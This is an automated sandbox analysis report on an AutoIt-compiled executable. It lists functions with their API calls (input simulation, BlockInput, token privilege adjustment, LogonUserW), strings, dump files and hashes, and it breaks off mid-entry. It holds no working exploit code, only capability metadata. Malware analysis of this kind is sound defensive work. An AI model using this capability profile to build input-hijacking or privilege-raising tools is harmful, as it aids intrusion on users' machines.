CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00F54F5C
FreeSid.ADVAPI32(?), ref: 00F54F6C

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 5af34c3ce8e29f07378f974e08dc43b16e4580d8ad693692a75e8bf12a8eed75
Instruction ID: 045990ead92e203c1f554c2391c661d6077900827848aac816c4d8b6bdfbb646
Opcode Fuzzy Hash: 5af34c3ce8e29f07378f974e08dc43b16e4580d8ad693692a75e8bf12a8eed75
Instruction Fuzzy Hash: 8CF04975A1130CBFDF00DFE4DC89AFEBBBCEF08211F4044A9AA01E2580E7346A489B50

Function 00F51AC6 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00F51B01
keybd_event.USER32(?,7694C0D0,?,00000000), ref: 00F51B14

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 47a4d956b098c71c4cfc69a920ed0a3a167cced5602ccea1a8d45e7dc672519f
Instruction ID: 70f602b16aae6142c537a12c625b653ab8363381a408a6a8e0918b9f2946a042
Opcode Fuzzy Hash: 47a4d956b098c71c4cfc69a920ed0a3a167cced5602ccea1a8d45e7dc672519f
Instruction Fuzzy Hash: 37F0497190020DABDB00CF94C805BFE7BB4FF04316F40804AFD559A292D7799619EFA4

Function 00F5A6AD Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,00F69B52,?,00F8098C,?), ref: 00F5A6DA
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,00F69B52,?,00F8098C,?), ref: 00F5A6EC

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 23e7800d53fc91330be38007125ec0c4385677b0915df9836a3e5d52dbcd53a1
Instruction ID: e04e667167dccd0ae650d5fe115820292d05fde78fd7dcc4912c4848b83b386e
Opcode Fuzzy Hash: 23e7800d53fc91330be38007125ec0c4385677b0915df9836a3e5d52dbcd53a1
Instruction Fuzzy Hash: 01F0A73650422DBBDB20AFA4DC48FEB776CFF09361F008255B908D6191DA709954EBE1

Function 00F48DE9 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00F48F27), ref: 00F48DFE
CloseHandle.KERNEL32(?,?,00F48F27), ref: 00F48E10

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 4ca07cc68fd11e1de3e37aca01059eda5e33514dc110630a277173d9724012ac
Instruction ID: 16b6e6016b49dc184ee42d13a7071ba7cb93dcf25249e0ecf4ff47856c00af65
Opcode Fuzzy Hash: 4ca07cc68fd11e1de3e37aca01059eda5e33514dc110630a277173d9724012ac
Instruction Fuzzy Hash: B1E0E675410610EFE7652B50EC09DB77BADFF04350714891DF55580470DB619CD0EB50

Function 00F1A385 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00F18F87,?,?,?,00000001), ref: 00F1A38A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00F1A393

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 41f1cf2f590d55c55e1fa351f1b8d9cf5959bb697da713cffab27f67dd4beba8
Instruction ID: 81e6ce72844770f73cfdbb6fd31ff8d23982632f73fab380b2bb5f27655c659e
Opcode Fuzzy Hash: 41f1cf2f590d55c55e1fa351f1b8d9cf5959bb697da713cffab27f67dd4beba8
Instruction Fuzzy Hash: ADB0923106430CABCA802B91EC0DBE83F68EB46A62F804010F60D44060CF625454AB91

Function 00F645D5 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00F645F0

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 8eaa140c34e5de8967aa514d55cb54a8ec68fb8892b06aaa0fd3d188d94a5463
Instruction ID: f14e5162d0b5393f7ceec4c5d06156b02e24f3a1ed654612635868fe5b5deeb0
Opcode Fuzzy Hash: 8eaa140c34e5de8967aa514d55cb54a8ec68fb8892b06aaa0fd3d188d94a5463
Instruction Fuzzy Hash: C9E09A322002099FC300AF59E800AAAB7E8AF94760B048426FE0AD7351DE70BC008B90

Function 00F551E2 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00F55205

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: b3face72ba18ae46e7f59e46f7a2020840a26a4a6a427ce0a83f3f42afb6ff13
Instruction ID: 133ba2492a3bd50e268c5875f448254e3fc6ea9223f0c07b6bc070e04c7d5681
Opcode Fuzzy Hash: b3face72ba18ae46e7f59e46f7a2020840a26a4a6a427ce0a83f3f42afb6ff13
Instruction Fuzzy Hash: 68D09EA5560E0979ED5807249E3FF761E08EB01FD3FD445497B42890C1EDD4D84DB5B1

Function 00F49369 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00F48FA7), ref: 00F49389

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: e9ecde1b4bdfed0c36425d1951256f5045ec154b1f3b312ae83d85c89830be63
Instruction ID: 036cdc6199a8937748baba22a9bec8f8651b4019a61c74468212ad4371726165
Opcode Fuzzy Hash: e9ecde1b4bdfed0c36425d1951256f5045ec154b1f3b312ae83d85c89830be63
Instruction Fuzzy Hash: 82D05E3326050EABEF018EA4DC01EFE3B69EB04B01F808111FE15D50A0C775D835AB60

Function 00F30722 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00F30734

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 9485a976e2b6d6bdb25867caaa8bcac252c192e5d37c0884fd2680b2359a9e4d
Instruction ID: 4469263ab9553f62526da37a4a28b3dd4fa47e260a25d5410225270674f9f560
Opcode Fuzzy Hash: 9485a976e2b6d6bdb25867caaa8bcac252c192e5d37c0884fd2680b2359a9e4d
Instruction Fuzzy Hash: D7C04CF280010DDBCB05DBA0D998EFF77BCAB04314F100056A105B2110DB749B449B71

Function 00F1A354 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00F1A35A

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 3c3bc44b683b492b98b70dba1a0252f682c496cc1a11b74c7181ec7cf59a42c1
Instruction ID: e5acb606fa27592de41527aaf53a9a71027b3fa3ac8dc031e9ada9263c7e0090
Opcode Fuzzy Hash: 3c3bc44b683b492b98b70dba1a0252f682c496cc1a11b74c7181ec7cf59a42c1
Instruction Fuzzy Hash: 54A0113002020CAB8A002B82EC088A8BFACEA022A0B808020F80C000228B32A820AA80

Function 00F73BA9 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00F80980), ref: 00F73C65
IsWindowVisible.USER32(?), ref: 00F73C89

Strings

GETCURRENTLINE, xrefs: 00F73F2B
GETSELECTED, xrefs: 00F73EE1
CHECK, xrefs: 00F73EAB
EDITPASTE, xrefs: 00F73F9D
ISENABLED, xrefs: 00F73CA9
GETLINECOUNT, xrefs: 00F73F04
ISVISIBLE, xrefs: 00F73C75
GETCURRENTSELECTION, xrefs: 00F73E21
GETLINE, xrefs: 00F73FD9
SELECTSTRING, xrefs: 00F73E44
FINDSTRING, xrefs: 00F73DB4
SENDCOMMANDID, xrefs: 00F74018
GETCURRENTCOL, xrefs: 00F73F66
DELSTRING, xrefs: 00F73D87
SHOWDROPDOWN, xrefs: 00F73D1E
ISCHECKED, xrefs: 00F73E77
CURRENTTAB, xrefs: 00F73CFB
TABRIGHT, xrefs: 00F73CDB
ADDSTRING, xrefs: 00F73D54
HIDEDROPDOWN, xrefs: 00F73D3E
TABLEFT, xrefs: 00F73CC5
UNCHECK, xrefs: 00F73EC1
SETCURRENTSELECTION, xrefs: 00F73DF4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 73bd24b54c979a01708d5c64b206f2a3872a3d4a2ce39cade01c004e3970361f
Instruction ID: dbdd7924a2748c04f941d7778c7a7489d6494a60ce3afdda9d52ab8b07ca5f4a
Opcode Fuzzy Hash: 73bd24b54c979a01708d5c64b206f2a3872a3d4a2ce39cade01c004e3970361f
Instruction Fuzzy Hash: 3CD1A170204205DBCB14EF10C851AAEBBE1AF95354F108459F95A5B2E3CF75EE4AFB82

Function 00F7ABFF Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00F7AC55
GetSysColorBrush.USER32(0000000F), ref: 00F7AC86
GetSysColor.USER32(0000000F), ref: 00F7AC92
SetBkColor.GDI32(?,000000FF), ref: 00F7ACAC
SelectObject.GDI32(?,?), ref: 00F7ACBB
InflateRect.USER32(?,000000FF,000000FF), ref: 00F7ACE6
GetSysColor.USER32(00000010), ref: 00F7ACEE
CreateSolidBrush.GDI32(00000000), ref: 00F7ACF5
FrameRect.USER32(?,?,00000000), ref: 00F7AD04
DeleteObject.GDI32(00000000), ref: 00F7AD0B
InflateRect.USER32(?,000000FE,000000FE), ref: 00F7AD56
FillRect.USER32(?,?,?), ref: 00F7AD88
GetWindowLongW.USER32(?,000000F0), ref: 00F7ADB3

Part of subcall function 00F7AF18: GetSysColor.USER32(00000012), ref: 00F7AF51
Part of subcall function 00F7AF18: SetTextColor.GDI32(?,?), ref: 00F7AF55
Part of subcall function 00F7AF18: GetSysColorBrush.USER32(0000000F), ref: 00F7AF6B
Part of subcall function 00F7AF18: GetSysColor.USER32(0000000F), ref: 00F7AF76
Part of subcall function 00F7AF18: GetSysColor.USER32(00000011), ref: 00F7AF93
Part of subcall function 00F7AF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00F7AFA1
Part of subcall function 00F7AF18: SelectObject.GDI32(?,00000000), ref: 00F7AFB2
Part of subcall function 00F7AF18: SetBkColor.GDI32(?,00000000), ref: 00F7AFBB
Part of subcall function 00F7AF18: SelectObject.GDI32(?,?), ref: 00F7AFC8
Part of subcall function 00F7AF18: InflateRect.USER32(?,000000FF,000000FF), ref: 00F7AFE7
Part of subcall function 00F7AF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00F7AFFE
Part of subcall function 00F7AF18: GetWindowLongW.USER32(00000000,000000F0), ref: 00F7B013

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 303d126beee475d2b40e222042536e705cb7077af3a05917908440e2f5dd724b
Instruction ID: e3ceaa77f535f148c0488bcaa5060e3a4450076d431cf0768b8c6f582dd6f5d6
Opcode Fuzzy Hash: 303d126beee475d2b40e222042536e705cb7077af3a05917908440e2f5dd724b
Instruction Fuzzy Hash: 8FA1BC72408305BFD7519F64DC08AAF7BA9FF88331F544A1AF966961A0DB30D848EF52

Function 00EF2FE8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00EF3072
DeleteObject.GDI32(00000000), ref: 00EF30B8
DeleteObject.GDI32(00000000), ref: 00EF30C3
DestroyIcon.USER32(00000000,?,?,?), ref: 00EF30CE
DestroyWindow.USER32(00000000,?,?,?), ref: 00EF30D9
SendMessageW.USER32(?,00001308,?,00000000), ref: 00F2C77C
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00F2C7B5
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00F2CBDE

Part of subcall function 00EF1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00EF2412,?,00000000,?,?,?,?,00EF1AA7,00000000,?), ref: 00EF1F76

SendMessageW.USER32(?,00001053), ref: 00F2CC1B
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00F2CC32
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00F2CC48
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00F2CC53

Strings

0, xrefs: 00F2CA72

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: d7639ec2b97b308587e1309a94b5c8b77010c9c739c40d09ea841617ce8e8e10
Instruction ID: d9f056d23a6be64f8e05e6ed068fa0005d4ddd9d5ddeec0baf0215ba0ebd2022
Opcode Fuzzy Hash: d7639ec2b97b308587e1309a94b5c8b77010c9c739c40d09ea841617ce8e8e10
Instruction Fuzzy Hash: DF129D30A00215EFDB24CF24D894BB9BBE1BF48310F54856AE685DB262CB31ED45EF91

Function 00F027FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON

Download Yara Rule

APIs

Part of subcall function 00F10FE6: std::exception::exception.LIBCMT ref: 00F1101C
Part of subcall function 00F10FE6: __CxxThrowException@8.LIBCMT ref: 00F11031

__wcsnicmp.LIBCMT ref: 00F0286A
__wcsnicmp.LIBCMT ref: 00F0287E
__wcsnicmp.LIBCMT ref: 00F02896
__wcsnicmp.LIBCMT ref: 00F028AE
__wcsnicmp.LIBCMT ref: 00F028C6
__wcsnicmp.LIBCMT ref: 00F028DE
__wcsnicmp.LIBCMT ref: 00F028F6
__wcsnicmp.LIBCMT ref: 00F0290A
__wcsnicmp.LIBCMT ref: 00F02948
__wcsnicmp.LIBCMT ref: 00F0295C
__wcsnicmp.LIBCMT ref: 00F02970
__wcsnicmp.LIBCMT ref: 00F02984

Strings

Bad directive syntax error, xrefs: 00F3FBD3, 00F3FBF0
", xrefs: 00F3FB89
Unterminated group of comments, xrefs: 00F3FCFA
#requireadmin, xrefs: 00F02890
#pragma compile, xrefs: 00F02864
Cannot parse #include, xrefs: 00F3FCE5
#cs, xrefs: 00F02904, 00F02956
', xrefs: 00F3FB9F
#comments-end, xrefs: 00F0296A
#notrayicon, xrefs: 00F02878
#OnAutoItStartRegister, xrefs: 00F028A8
#include-once, xrefs: 00F028C0
#comments-start, xrefs: 00F028F0, 00F02942
#include, xrefs: 00F028D8
#ce, xrefs: 00F0297E

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: 7c130a3103552b7a874e97d3c30e20975f84dbd6a219b65dc9abde9e319a2513
Instruction ID: dce3fb956c3f382de4941825be38c427645b14306155f2d017f252b200894451
Opcode Fuzzy Hash: 7c130a3103552b7a874e97d3c30e20975f84dbd6a219b65dc9abde9e319a2513
Instruction Fuzzy Hash: 47A1BF31E40209ABCB54AF20CD86EBE7BA9AF45750F044029F805AB2D2EB74DE45F761

Function 00F67B95 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00F67BC8
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00F67C87
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00F67CC5
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00F67CD7
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00F67D1D
GetClientRect.USER32(00000000,?), ref: 00F67D29
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00F67D6D
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00F67D7C
GetStockObject.GDI32(00000011), ref: 00F67D8C
SelectObject.GDI32(00000000,00000000), ref: 00F67D90
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00F67DA0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00F67DA9
DeleteDC.GDI32(00000000), ref: 00F67DB2
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00F67DDE
SendMessageW.USER32(00000030,00000000,00000001), ref: 00F67DF5
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00F67E30
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00F67E44
SendMessageW.USER32(00000404,00000001,00000000), ref: 00F67E55
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00F67E85
GetStockObject.GDI32(00000011), ref: 00F67E90
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00F67E9B
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00F67EA5

Strings

static, xrefs: 00F67D67, 00F67E7F
DISPLAY, xrefs: 00F67D72
msctls_progress32, xrefs: 00F67E26
AutoIt v3, xrefs: 00F67D15

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

